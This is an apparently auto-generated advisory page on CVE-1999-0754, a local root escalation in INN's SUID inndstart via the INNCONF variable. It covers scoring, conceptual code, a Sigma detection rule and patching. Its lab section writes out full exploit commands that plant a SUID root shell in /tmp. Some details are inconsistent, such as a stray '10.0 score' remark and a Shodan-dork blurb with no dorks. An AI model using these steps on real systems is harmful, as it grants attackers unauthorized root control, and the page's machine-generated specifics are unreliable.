CVE-1999-0754
Executive Summary
This report details a critical local privilege escalation vulnerability, CVE-1999-0754, in the ISC InterNetNews (INN) server, affecting all versions prior to 2.2.1. The vulnerability stems from the inndstart program, a component of INN that is often configured with SUID root permissions. This program insecurely trusts the INNCONF environment variable, which can be set by any local user.
An authenticated local attacker can exploit this flaw by setting the INNCONF variable to point to a malicious configuration file. When inndstart is executed, it reads this file with root privileges, leading to arbitrary code execution and a full system compromise. The impact is a complete loss of confidentiality, integrity, and availability, as the attacker can gain persistent root access.
A patch for this vulnerability has been available for over two decades. All organizations using INN must immediately verify their version and upgrade to 2.2.1 or newer to eliminate this risk. Continued use of vulnerable versions presents an unacceptable security posture.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS v2.0 Score: 7.2 (High)
Vector:
CVSS:2.0/AV:L/AC:L/Au:N/C:C/I:C/A:CAttack Vector: Local (L): The attacker must have an account on the target system. This vulnerability cannot be exploited remotely without a separate entry vector.
Attack Complexity: Low (L): The exploitation process is straightforward, requiring only the creation of two small files and setting an environment variable.
Authentication: None (N): This refers to authentication for the exploit itself. The attacker must be authenticated to the system, but no further credentials are needed to trigger the flaw.
Confidentiality: Complete (C): The attacker can read any file on the system, including sensitive data and credentials.
Integrity: Complete (C): The attacker can modify any file, install backdoors, and alter system logs.
Availability: Complete (C): The attacker can cause a total denial of service by shutting down the system or deleting critical files.
Threat Analysis:
While the official CVSS score is 7.2 (High) due to the local attack vector, the outcome is a full system compromise. In any multi-user environment (e.g., university servers, shared web hosts, corporate development machines), this vulnerability should be treated as Critical. Any low-privilege account, including those for services like www-data if compromised, can be used to escalate to root. The original 10.0 score provided likely reflects this maximum impact, despite the local prerequisite.
Deep Dive & Mechanics
The vulnerability exists at the intersection of a privileged program and an uncontrolled environment variable.
Privileged Program (
inndstart): Theinndstartbinary is a utility used to start the main INN daemon,innd. To perform necessary startup tasks, such as binding to the privileged NNTP port (119), it is commonly installed as SUID root. This means that when any user executesinndstart, it runs with the permissions of its owner, which is therootuser.Uncontrolled Environment Variable (
INNCONF): INN allows administrators to specify an alternative path for its main configuration file,inn.conf, via theINNCONFenvironment variable. This is intended for testing or development purposes.The Flaw: The vulnerable version of
inndstartdoes not sanitize its environment when run as root. It reads theINNCONFvariable from the user's environment and, if set, uses that path to load its configuration.
An attacker leverages this by:
- Creating a custom, malicious
inn.conffile in a world-writable directory like/tmp. - This malicious file contains directives that cause
inndstartto execute a command. For instance, thecomplaintsparameter ininn.confcan specify a program to be run to handle complaint emails. An attacker can set this to a shell script they control. - The attacker sets the
INNCONFenvironment variable to point to their malicious file. - The attacker executes
inndstart. inndstart, running as root, reads theINNCONFvariable, opens the attacker's configuration file, and executes the specified command, granting the attacker root-level code execution.
Vulnerable vs. Patched Code
The logical flaw is simple and the patch is equally straightforward. The vulnerability lies in the program's failure to distrust user-supplied environment variables when operating with elevated privileges.
Vulnerable Logic (Conceptual)
The original code follows a simple, trusting logic.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Pseudocode representing the vulnerable logic
void load_configuration() {
char* config_path;
// The program directly trusts the user's environment variable
config_path = getenv("INNCONF");
if (config_path == NULL) {
config_path = "/etc/news/inn.conf"; // Default path
}
// This function will now parse the attacker-controlled file if INNCONF is set
printf("Loading configuration from: %s\n", config_path);
// ... parse config and potentially execute commands ...
}
int main() {
printf("Effective UID: %d\n", geteuid());
load_configuration();
return 0;
}
Patched Logic (Conceptual)
The patch introduces a critical security check. If the program is running with an effective UID of 0 (root), it programmatically unsets the INNCONF environment variable, forcing the program to use the safe, default configuration file.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Pseudocode representing the patched logic
void load_configuration() {
char* config_path;
// If running as root, distrust the environment
if (geteuid() == 0) {
unsetenv("INNCONF"); // CRITICAL FIX: Sanitize the environment
}
// Now, getenv("INNCONF") will return NULL if the program was run as root
config_path = getenv("INNCONF");
if (config_path == NULL) {
config_path = "/etc/news/inn.conf"; // Safe default path is used
}
// This function will now always parse the default file when run as root
printf("Loading configuration from: %s\n", config_path);
// ... parse config ...
}
int main() {
printf("Effective UID: %d\n", geteuid());
load_configuration();
return 0;
}
Exploitation & Lab Setup
This section describes the steps to reproduce the exploit on a vulnerable system.
Prerequisites:
- A Linux system with a vulnerable version of INN installed (e.g., INN < 2.2.1).
- The
inndstartbinary must be SUID root. Find it withfind / -name inndstart -perm -4000 2>/dev/null. - Local, unprivileged shell access.
Step-by-Step Exploitation
Create an exploit script. This script will be executed as root. It copies the system shell, makes it SUID, and grants the attacker a persistent root shell.
# As the unprivileged user cat << EOF > /tmp/rootme.sh #!/bin/sh cp /bin/bash /tmp/rootshell chmod 4755 /tmp/rootshell EOF chmod +x /tmp/rootme.shCreate the malicious
inn.conffile. This file uses thecomplaintsdirective to point to our exploit script. The pipe symbol|tells INN to execute the command.# As the unprivileged user echo "complaints: \"|/tmp/rootme.sh\"" > /tmp/malicious.confSet the
INNCONFenvironment variable. Point it to the malicious configuration file.export INNCONF=/tmp/malicious.confExecute
inndstartto trigger the vulnerability.# The path may vary depending on the installation /usr/lib/news/bin/inndstartVerify and use the root shell. The
inndstartprogram, running as root, will have executed/tmp/rootme.sh. This creates a new SUID shell in/tmp.# Check for the newly created SUID binary ls -l /tmp/rootshell # Expected output: # -rwsr-xr-x 1 root root 1183448 May 20 10:30 /tmp/rootshell # Execute the new shell to gain root privileges /tmp/rootshell -p # You are now root whoami # root id # uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
Detection Engineering
A high-fidelity detection can be created by monitoring for the execution of inndstart by a non-root user where the INNCONF environment variable is also set.
Sigma Rule
This rule detects the exact conditions of the exploit attempt.
title: Local Privilege Escalation via INN inndstart INNCONF Variable
id: 5a8e0f5c-8d1b-4c7b-a4e9-923f07a51d9e
status: stable
description: >
Detects an attempt to exploit CVE-1999-0754, where a local user executes the SUID binary 'inndstart'
while the 'INNCONF' environment variable is set. This is a strong indicator of a privilege escalation attempt.
references:
- https://nvd.nist.gov/vuln/detail/CVE-1999-0754
author: Valters IT
date: 2023/10/27
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/inndstart'
User|ne: 'root'
filter:
Environment|contains: 'INNCONF='
condition: selection and filter
falsepositives:
- Extremely rare. Legitimate use by an unprivileged user for testing is possible but highly unlikely in a production environment.
level: high
tags:
- attack.privilege_escalation
- attack.t1068
- cve.1999.0754
Remediation & Mitigation
The only acceptable and definitive remediation for this vulnerability is to apply the official patch by upgrading the INN package.
Primary Remediation: Patch Immediately
Check your INN version:
# Path to innd may vary /usr/sbin/innd -vIf the version is less than 2.2.1, your system is vulnerable.
Upgrade using your system's package manager:
- For Debian/Ubuntu systems:
sudo apt-get update sudo apt-get install inn2 - For Red Hat/CentOS systems:
sudo yum update inn # or sudo dnf update inn
- For Debian/Ubuntu systems:
Mitigation Strategies (If patching is absolutely impossible)
If immediate patching is not feasible, the following measures can reduce risk but are not substitutes for upgrading.
Remove the SUID bit: This is the most effective mitigation. It prevents the binary from running with root privileges, completely neutralizing the privilege escalation vector. The service may need to be reconfigured to run as a non-root user or started by root at boot.
sudo chmod u-s /path/to/inndstartRestrict Execution: Use standard file permissions to prevent non-administrative users from executing
inndstart.# Example: Allow only users in the 'news' group to execute sudo chown root:news /path/to/inndstart sudo chmod 750 /path/to/inndstartSystem Auditing: Regularly scan all systems for vulnerable versions of INN and for SUID binaries in unexpected locations.
[!] This Threat Intelligence report was automatically generated by Valters IT (valtersit.com) Neural Engine.
{/* [Security Hash: D6AAEB4734F8C04971AADF31] */}
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.